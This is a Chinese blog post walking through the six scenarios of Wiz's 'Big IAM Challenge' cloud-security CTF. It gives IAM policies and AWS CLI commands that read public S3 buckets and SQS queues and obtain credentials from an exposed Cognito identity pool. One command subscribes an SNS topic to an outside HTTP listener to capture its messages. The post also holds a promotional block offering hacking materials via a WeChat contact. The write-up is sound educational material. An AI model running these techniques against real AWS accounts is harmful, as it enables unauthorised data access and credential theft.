主頁 >  其他 > IAM風險CTF挑戰賽

IAM風險CTF挑戰賽

2023-07-01 08:29:24 其他

wiz啟動了一個名為“The Big IAM Challenge”云安全CTF挑戰賽,旨在讓白帽子識別和利用 IAM錯誤配置,并從現實場景中學習,從而更好的認識和了解IAM相關的風險,比賽包括6個場景,每個場景都專注于各種AWS服務中常見的IAM配置錯誤,

Challenge1:

Buckets of Fun

We all know that public buckets are risky. But can you find the flag?

查看提示獲取本關的IAM策略如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",   //Effect(效果)設定為Allow(允許)
            "Principal": "*",    //Principal(主體)是所有用戶("*")
            "Action": "s3:GetObject",  //獲取物件
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"  //指定S3存盤桶中的所有物件
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",    //列出存盤桶
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",  
            "Condition": {      //條件是通過前綴限制只能列出以"files/"為前綴的物件
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

該策略允許任何用戶列出"thebigiamchallenge-storage-9979f4b"存盤桶中符合前綴條件"files/"的物件,該策略存在如下安全風險:

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

1、允許任何用戶對指定的S3存盤桶執行GetObject操作以獲取物件的內容,

2、允許任何用戶對指定的S3存盤桶執行ListBucket操作列出存盤桶中符合指定前綴條件的物件

解題思路:

針對s3存盤桶權限校驗不嚴格,列出桶資源物件并使用查看物件內容獲取flag,

1、獲取該存盤桶中的物件

aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/

得知files目錄下存在flag1.txt檔案,將其下載到本地,這里提示Read-only file system(只讀檔案系統)錯誤,權限問題,我們將其下載到/tmp目錄下:

aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt

另外也可以直接網路訪問獲取:

http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt

獲得flag如下:

{wiz:exposed-storage-risky-as-usual}

challenge1

Challenge2:

We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?

Join our queue and get the secret flag.

查看提示獲取本關的IAM策略如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",      //發送訊息
                "sqs:ReceiveMessage"        //接收訊息
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

該IAM策略允許任何用戶對特定的SQS佇列執行SendMessage和ReceiveMessage操作,即發送和接收訊息,該策略存在如下安全風險:

1、該策略將操作權限授予了所有用戶("*"),意味著任何具有該策略的用戶或角色都可以發送和接收訊息,

2、該策略沒有限制允許訪問的用戶、角色或其他條件,它允許所有用戶執行SendMessage和ReceiveMessage操作,

解題思路:

針對授予特定SQS佇列執行ReceiveMessage操作獲取佇列訊息來查找flag,

1、接受訊息佇列中的資訊

aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

challenge2

2、獲取html檔案內容

https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html

challenge2-1

獲得flag如下:

{wiz:you-are-at-the-front-of-the-queue} 
Challenge3:

Enable Push Notifications

We got a message for you. Can you get it?

查看提示并獲取本關的IAM策略如下:

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"                                      //允許任何AWS用戶
            },
            "Action": "SNS:Subscribe",       //訂閱操作
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",    //主題ARN
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"  //訂閱條件 
                }
            }
        }
    ]
}

該策略允許任何AWS用戶對指定的SNS主題(ARN為"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")進行訂閱操作,訂閱條件要求訂閱者的Endpoint必須以"*@tbic.wiz.io"結尾,該策略存在如下風險:

  1. 全域訪問權限:該策略中指定了允許任何AWS用戶("*")執行SNS訂閱操作,這意味著任何具有有效的AWS憑證的用戶都可以訂閱該SNS主題,如果此策略不是有意為特定用戶或物體設計的,可能存在風險,因為未經授權的用戶可以執行訂閱操作,

  2. 通配符條件:該策略中的條件指定訂閱者的Endpoint必須以"*@tbic.wiz.io"結尾,然而,通配符條件可能過于寬松,允許任何以該域名結尾的Endpoint進行訂閱,包括未經授權的Endpoint,這可能導致未經授權的物體訂閱主題并接收敏感資訊或濫用SNS服務,

  3. 潛在的資訊泄露:由于該策略允許任何人訂閱主題,如果主題包含敏感資訊或重要通知,可能會導致資訊泄露的風險,攻擊者可以訂閱主題并接收敏感資訊,甚至利用該資訊進行其他惡意行為,

解題思路:

1、訂閱SNS主題

在訂閱時由于調閱條件的限制,先嘗試將訂閱訊息發送到email郵箱賬號,但是由于我們沒有以@tbic.wiz.io為后綴的郵箱賬號,因此需要對此處進行繞過,

AWS用戶可以使用SNS:Subscribe操作訂閱指定的SNS主題:

aws sns subscribe --topic-arn <主題ARN> --protocol <協議> --notification-endpoint <訂閱者Endpoint>

<主題ARN>為實際的SNS主題ARN,所使用的協議有HTTP、HTTPS、Email、SMS等,訂閱者的Endpoint具體根據策略中的條件要求,

對該題目設定SNS訂閱:

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint [email protected]

challenge3-1

2、訂閱條件限制繞過

嘗試使用http協議進行代理監聽的方式獲取訂閱訊息:

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io

challenge3-2

接收到來自sns的訂閱確認,訊息提示點擊SubscribeURL確認訂閱訊息,等待一會即可接收到附帶flag的訂閱訊息:

challenge3-3

獲取到flag如下:

{wiz:always-suspect-asterisks}
Challenge4:

Admin only?

We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

查看提示并獲取本關的IAM策略如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

該策略用于定義對 Amazon S3 存盤桶的訪問權限,其中包含了兩個宣告(Statement):

1、宣告一允許任何用戶存盤桶執行GetObject操作,訪問thebigiamchallenge-admin-storage-abf1321的s3儲存桶資源,

2、宣告二允許任何用戶對S3存盤桶執行ListBucket操作,列出存盤桶中的物件,該宣告有一個約束條件限制請求中的后綴必須以"files/" 開頭,并且訪問資源的主體是arn:aws:iam::133713371337:user/admin,

解題思路:

看到宣告二中限制的訪問資源主體是arn:aws:iam::133713371337:user/admin,便想著如何獲取到該用戶的憑據,然而在目前的環境中翻遍了各種組態檔和腳本檔案都未發現相關憑據泄露,且當下憑據不能用于該訪問主體,隨后轉變思路利用GetObject操作無限制進行目錄Fuzz,Fuzz出如下路徑:

/thebigiamchallenge-admin-storage-abf1321/files/  
/thebigiamchallenge-admin-storage-abf1321/files/cache/
/thebigiamchallenge-admin-storage-abf1321/files/tmp/
https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt

然后再深一次Fuzz,仍無flag相關結果,最終經瑞幸樓少提醒,發現了如下引數的妙用:

--no-sign-request

該引數可以用來執行無需身份驗證的請求,使用該引數可以跳過對請求進行簽名和身份驗證的步驟,從而可以在某些情況下執行不需要驗證的操作,

aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt

challenge4-1

獲得flag如下:

{wiz:principal-arn-is-not-what-you-think}
Challenge5:

Do I know you?

We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.

查看提示并獲取本關的IAM策略如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}
?
?
https://wiz-privatefiles.s3.amazonaws.com/
https://s3.amazonaws.com/wiz-privatefiles/
?
?
https://wiz-privatefiles.s3.amazonaws.com/soap/

如上策略有兩個宣告,VisualEditor0宣告允許向MobileAnalytics服務發送事件資料以及對Cognito Sync服務執行任何操作,且對這兩個服務中的所有資源都可以操作,VisualEditor1宣告允許執行GetObject和ListBucket兩個操作,來獲取wiz-privatefiles存盤桶中的物件并列出存盤桶中的內容,

解題思路:

根據題目提示得知AWS Cognito服務為主要身份提供商,問題大概率出現在此處,通過搜索AWS Cognito配置錯誤看到一篇文章:

https://www.wangan.com/p/7fy7f8abba5c0234        //通過錯誤配置的AWS Cognito接管AWS帳戶

結合該思路我們首先需要獲取到該AWS Cognito服務的identity_pool_id:

challenge5-1

梳理下常見的獲取identity_pool_id方法:

1、通過應用程式代碼查找使用Cognito的部分,并尋找可能存在identity_pool_id的位置,通常在一些JS檔案或者介面中可能存在,

2、通過監控分析網路流量分析捕獲應用程式與Cognito之間的通信,在捕獲的網路流量中,搜索包含 identity_pool_id 的請求或回應,

3、通過搜尋查找一些組態檔或環境變數及啟動腳本等獲取Cognito相關的配置資訊,

4、通過分析應用程式日志,查找 identity_pool_id 的資訊,有時日志檔案會記錄與身份池相關的操作或配置,

5、通過aws控制臺或CLI命令列獲取identity_pool_id,前提是需要有一定權限,

結合文章思路在前端頁面獲取到IdentityPoolId:

AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});

challenge5-2

獲取到identity_pool_id通過腳本再獲取AK密鑰進行配置:

challenge5-3

由于當前云終端權限限制的問題,改用本地進行配置及后續操作:

aws configure
aws configure set aws_access_key_id 
aws configure set aws_secret_access_key 
aws configure set aws_session_token ""

challenge5-4

獲取到Flag如下:

{wiz:incognito-is-always-suspicious}
Challenge6:

One final push

Anonymous access no more. Let's see what can you do now.

Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

查看提示并獲取本關的IAM策略如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",     
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

該策略用于定義IAM角色的信任關系,當cognito-identity身份服務進行Web身份驗證時,可以使用STS的AssumeRoleWithWebIdentity操作請求臨時憑證進行驗證身份,此操作將驗證來自cognito-identity身份服務的用戶身份,并根據策略規定的條件和權限,為該用戶生成一組臨時憑證,這些臨時憑證具有一定的時效性,可用于對 AWS 資源進行訪問,

解題思路:

題目中提示不再有匿名訪問且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role進行操作,策略資訊也指明了cognito-identity驗證中的aud必須是identity_pool_id為us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b,思路如下:

1、獲取身份識別符號identity-id

aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"

2、獲取對應身份標識的令牌token

aws cognito-identity get-open-id-token --identity-id 獲取到的identity-id

3、使用獲取到的身份驗證令牌指定目標角色來獲取臨時訪問憑證

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定義session名稱 --web-identity-token 獲取到的token令牌

challenge6-1

4、根據獲取到的AK密鑰配置并獲取flag

aws s3 ls
aws s3 ls s3://wiz-privatefiles-x1000
aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt -

challenge6-2

獲取到flag如下:

{wiz:open-sesame-or-shell-i-say-openid}

更多網安技能的在線實操練習,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/556417.html

標籤:其他

上一篇:從零開始初識機器學習

下一篇:返回列表

標籤雲
其他(161936) Python(38266) JavaScript(25517) Java(18286) C(15238) 區塊鏈(8275) C#(7972) AI(7469) 爪哇(7425) MySQL(7278) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5876) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4609) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2438) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1985) HtmlCss(1979) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1881) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • IAM風險CTF挑戰賽

    wiz啟動了一個名為“The Big IAM Challenge”云安全CTF挑戰賽。旨在讓白帽子識別和利用 IAM錯誤配置,并從現實場景中學習,從而更好的認識和了解IAM相關的風險。比賽包括6個場景,每個場景都專注于各種AWS服務中常見的IAM配置錯誤。 ......

    uj5u.com 2023-07-01 08:29:24 more
  • 從零開始初識機器學習

    本篇文章中我們將對機器學習做全面的了解與介紹,其中第一章 初識機器學習分為上下兩個小章節,對機器學習是什么、機器學習由來以及機器學習的理論等展開說明。目的是能讓即便完全沒接觸過機器學習的人也能在短時間對機器學習有一個全面了解。 ......

    uj5u.com 2023-07-01 08:10:38 more
  • 自然語言處理 Paddle NLP - 開放域對話系統-理論

    常見的對話系統 - 個人助手 ?Apple Siri, Amazon Alexa, Baidu Xiaodu - 客戶服務?餐廳預定、商品咨詢、債務催收 - 休閑娛樂 ?Microsoft XiaoIce,Replika ![image](https://img2023.cnblogs.com/bl ......

    uj5u.com 2023-07-01 08:09:50 more
  • 一探究竟!天翼云2023MWC展區“亮”了!

    6月28日,2023MWC上海世界移動通信大會(簡稱“MWC上海”)在上海新國際博覽中心啟幕。中國電信開設“數智萬融 暢享未來”主題展區,從科技創新、安全筑防及服務賦能三大核心板塊56項科數成就入手,全方位展示中國電信新技術、新產品以及新一代資訊智能數字化解決方案。其中,中國電信天翼云攜多款創新產品... ......

    uj5u.com 2023-07-01 08:04:00 more
  • 云享&#183;案例丨打造數智物流底座,華為云DTSE助力物聯云倉解鎖物

    摘要:華為云憑借領先的技術和快速回應的開發者支持服務,助力物聯億達實作云上資源高可用、提升系統安全性與穩定性,為物聯億達提供了扎實的數字化基礎。 本文分享自華為云社區《云享·案例丨打造數智物流底座,華為云DTSE助力物聯云倉解鎖物流新“速度”》,作者:華為云社區精選 。 數字化轉型浪潮席卷全球,企業 ......

    uj5u.com 2023-07-01 07:58:47 more
  • 最新訊息,powershell,10多年的癌癥被治好了!

    問:癌癥是指什么? 答:powershell一直有個特性,它的管道會傳遞物件,請看:'abc' | ForEach-Object {$_.toupper()} #回傳ABC它管道傳遞的是【字串物件】。它會把管道左面的【內容】強行物件化。這導致【二進制資料經管道傳輸】有問題。常見的問題場景是:管道下 ......

    uj5u.com 2023-07-01 07:57:05 more
  • 2023年6月隨筆暨半年總結

    ![](https://img2023.cnblogs.com/blog/3076680/202306/3076680-20230630120307874-1365687784.png) # 1. 回頭看 日更堅持了181天。 - 讀《改變未來的九大演算法》更新完成 - 讀《發布!設計與部署穩定的分布 ......

    uj5u.com 2023-07-01 07:56:50 more
  • 【筆者感悟】筆者的學習心得【三】

    博客推行版本更新,成果積累制度,已經寫過的博客還會再次更新,不斷地琢磨,高質量高數量都是要追求的,工匠精神是學習必不可少的精神。因此,大家有何建議歡迎在評論區踴躍發言,你們的支持是我最大的動力,你們敢投,我就敢肝 ......

    uj5u.com 2023-07-01 07:56:43 more
  • 畢業季 | 程式員初入職場必備軟體開發神器,華為云Astro帶你開啟新

    摘要:5分鐘寫出應用,10分鐘開發大屏,新手程式員必學技能之華為云Astro,快來get。 本文分享自華為云社區《畢業季 | 程式員初入職場必備軟體開發神器,華為云Astro帶你開啟新篇章》,作者:華為云社區精選 。 這一屆初入IT職場的畢業生有多難? 既要在“最難”就業季里過關斬將,又要面對生成式 ......

    uj5u.com 2023-07-01 07:51:11 more
  • 長亭雷池waf社區版搭建

    #安裝docker和docker-compose curl -fsSLk https://get.docker.com/ | bash docker version #檢查docker版本 執行以下命令創建并進入雷池安裝目錄 mkdir -p safeline # 創建 safeline 目錄 cd ......

    uj5u.com 2023-07-01 07:48:33 more